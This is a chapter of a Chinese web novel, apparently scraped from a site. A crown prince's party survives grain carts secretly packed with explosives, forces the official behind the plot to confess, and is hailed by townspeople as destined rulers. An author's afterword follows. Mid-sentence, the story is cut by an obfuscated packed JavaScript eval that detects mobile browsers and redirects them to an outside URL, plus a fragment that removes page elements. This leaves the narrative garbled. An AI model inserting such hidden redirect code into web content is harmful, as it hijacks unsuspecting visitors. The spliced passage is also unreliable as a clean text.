可是今日,她也有了同一战线的战友,论行为,和她一般荒唐,论勇气,似乎比她还天不怕地不怕。 挺好。 旭日当空,其道大光。 四个勇士一通乱杀,敌人丢盔弃甲,落荒而逃。 沈曜开路,擎苍殿后,擎苍小亭一左一右,押送着浩浩荡荡的粮车,凯旋而来。 “好荒唐!”擎苍喊。 “好过瘾!”沈曜更高声喊。 五人肆意大笑,似天下在手,似无往不胜。 46. 英雄气概 满月保持着镖师的职业素养,习惯性的问了一句:“验过货了吗?” “验过了,每辆车都验过了,全是粮食!”小亭肯定道。 满月低头看地上的车辙,她走镖多年,很多时候单靠车辙就能分清车上货物。 她敢肯定,这车上绝对不止是粮食。 她脸色微变,拿剑挑开一辆粮车:里面确实堆满了粮袋。 她思索一下,微微运用内力,向粮车横劈过去。 “咔嚓”一声,粮车断裂为上下两部分。 两部分用木板隔开,上半部分是粮食,而下半部分,竟是密密麻麻一车炸药! 左边全是慢炮,右边全是带引线的炸药包。 “救粮食!”沈曜下意识道。 与此同时,小亭注意到被掀开的木板上扯断的引绳,惊慌大喊:“别管粮食,快跑!” 然而,引绳已经拉开,再跑已然没有时间。小亭声音未落,只听“砰”的一声巨响,眼前炸弹爆炸开来。紧接着,一车炸药的爆炸又引燃了其他粮车里隐藏的炸弹,顷刻间,爆炸声惊天动地,连成一片。 炸药威力太大,才经历过地动的成纪县城又震了好几震。 再之后,是片刻的万籁俱寂。 再之后,城郊的百姓回过神来,寻声而望,只见远郊的密林燃起熊熊烈火,黑烟与云层连成一片。 “太阳刚升起来的时候,我碰到太子哥哥他们骑着马往那个方向去了,太子哥哥说,他们要去跟朝廷抢粮食。” 一个大清早起来垒转头的小朋友跟乡亲们描述。 消息不胫而走。 半个上午的功夫,全城人都知道了:太子一行人为了给大家抢粮食,中了朝中奸人的诡计,被炸死了。 马上就有人说,他去现场看过了,一片狼藉,尸骨无存。 立刻又有人说,这是左太尉的圈套,毕竟左太尉想当皇帝已经是人尽皆知的秘密。 还有人说,那九鼎现世,本就不是指的太子沈曜,其实指的是西北大将军李归舟。因为那九鼎之上,明明都刻着一个“舟”形图案。 更有人说,异象频发,分明是人君不善遭了天谴,种种迹象表明,未来将天下大乱。 留言越传越邪乎,传得百姓心惊肉跳。 以至于,当他们看到灰头土脸的五个少年昂首挺胸的骑着骏马回城,身后还跟着一群垂头丧气的俘虏时,城里的百姓都以为自己眼前出了幻觉。 谣言不攻自破,刹那间,全城人都跑过来看热闹。 沈曜等人到的差不多了,把俘虏来的将领推向人群中央: “姜大人,你来说。” 百姓听戏似的,齐刷刷望向姜大人。 姜大人幽怨的看了沈曜一眼,叹口气,解释:“诸位乡亲们,我是转运使姜虎,成纪地动,我奉旨赈灾,然而,上司命令我在粮食中埋藏炸药,以送粮的名义设计炸死太子殿下。” 人群一片哗然。 “我就说嘛!”那些说这是左太尉圈套的人们,骄傲得似自己个儿当了皇帝。 当然还有人持怀疑态度,凶狠狠的问姜虎:“上司是谁?谁指使的你?” 姜虎犹豫。 立刻有大胆的百姓喊:“左太尉是不是?” 姜虎低下头去。 见他这幅表现,大家立刻明白过来:“就是左太尉,肯定就是左太尉了!” 这时,又有人反应过来,悄咪咪问:“那么大的爆炸,怎么能做到死里逃生的?” 那声音极小,可是满月耳听八方,她便笑问姜虎:“姜大人,你说说,我们是怎么死里逃生的?” 姜大人一愣:你问我?我问谁去!我布置的那么周密,爆炸现场那么凶险,你们能从火光里毫发无损的爬出来,还追杀了我们二里地,我到现在都觉得见了鬼。 我要是能知道你们靠什么活下来,你们大概就活不下来了。 他心里这么想,嘴上可不敢这么说。 在沈曜威严的目光下,在满月玩世不恭的目光下,他战战兢兢的把四十年来读过的书、走过的路全回忆了一遍,终于,他灵光一现,绘声绘色道:“火药爆炸的那一刻,二十余乘粮车炸为灰烬,大路四周火光冲天,然而,唯有太子一行人所在之处,被一团天降的金色的气体护住,炸药炸不得,火烧不得。直到火势消退,周围没有危险时,那团金光才渐渐消失。” 人群有些躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701683|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 满月憋笑,沈曜微不可察的向姜虎投去赞许的目光。 姜虎被这目光激励到,腿一软,“砰”的跪倒在地,极度激动极度崇拜道:“如今太子殿下历经天灾人祸,每每涉险,都有祥瑞庇护,每每遭遇凶险,都能化险为夷,这足以证明太子殿下有天神保佑,您就是真龙天子!要杀您,那就是逆天道而行,必遭天谴!” 不知是谁带的头,围在四周的百姓一齐跪拜,高呼:“太子殿下是真龙天子!” “太子殿下是真龙天子!” …… “你直接称帝得了。”满月低声打趣了一句。 沈曜摸摸腰间的报名真神灵机锁,微微心虚。 满月趁没人注意,微运内力隔空拍了沈曜后背一掌。 沈曜立刻回过神来,昂首挺胸,拿出睥睨四方的架势。 满月翻身下马,躬身拜在最前方,出声不出力的跟着人群喊:“太子殿下是真龙天子!” 小亭、擎苍、雕弓也立刻翻身下马,行跪拜大礼,随人潮呼喊:”太子殿下是真龙天子!” 劲风忽起,衣衫鼓动,马背上的少年,竟真有几分英雄气概。 —— 一点不该出现在正文的话(假如有幸入V,会挪到作话): 原本我对这篇文章的设想很宏大,想写人心险恶,写奸臣弄权,写有志者卧薪尝胆,痴情者万劫不复,更要写少年一步步开阔眼界,最终心中装下了家国天下。 但是,笔力有限,什么都想写,好像就什么也写不好。就比如,现在再看看第二卷的权谋片段,总觉得有点牵强附会——要改进的地方太多了! 后来跟人聊文章,聊着聊着就想通了:一步登天挺难的,还是放弃那些不切实际的大构架吧,就权当在写一部少年人的江湖历险记。 我与书里的人物一样,都是少年,都在成长。 少年人嘛,常有豪言壮志,又常常言不符实。以为自己战无不胜,却常常被现实击得溃不成军。但这又怎样呢?少年终是少年,最不缺的就是从头再来的机会和勇气。更何况,他们本就身怀绝技。 相信,读到这里的你我,也终将身怀绝技,天下无敌。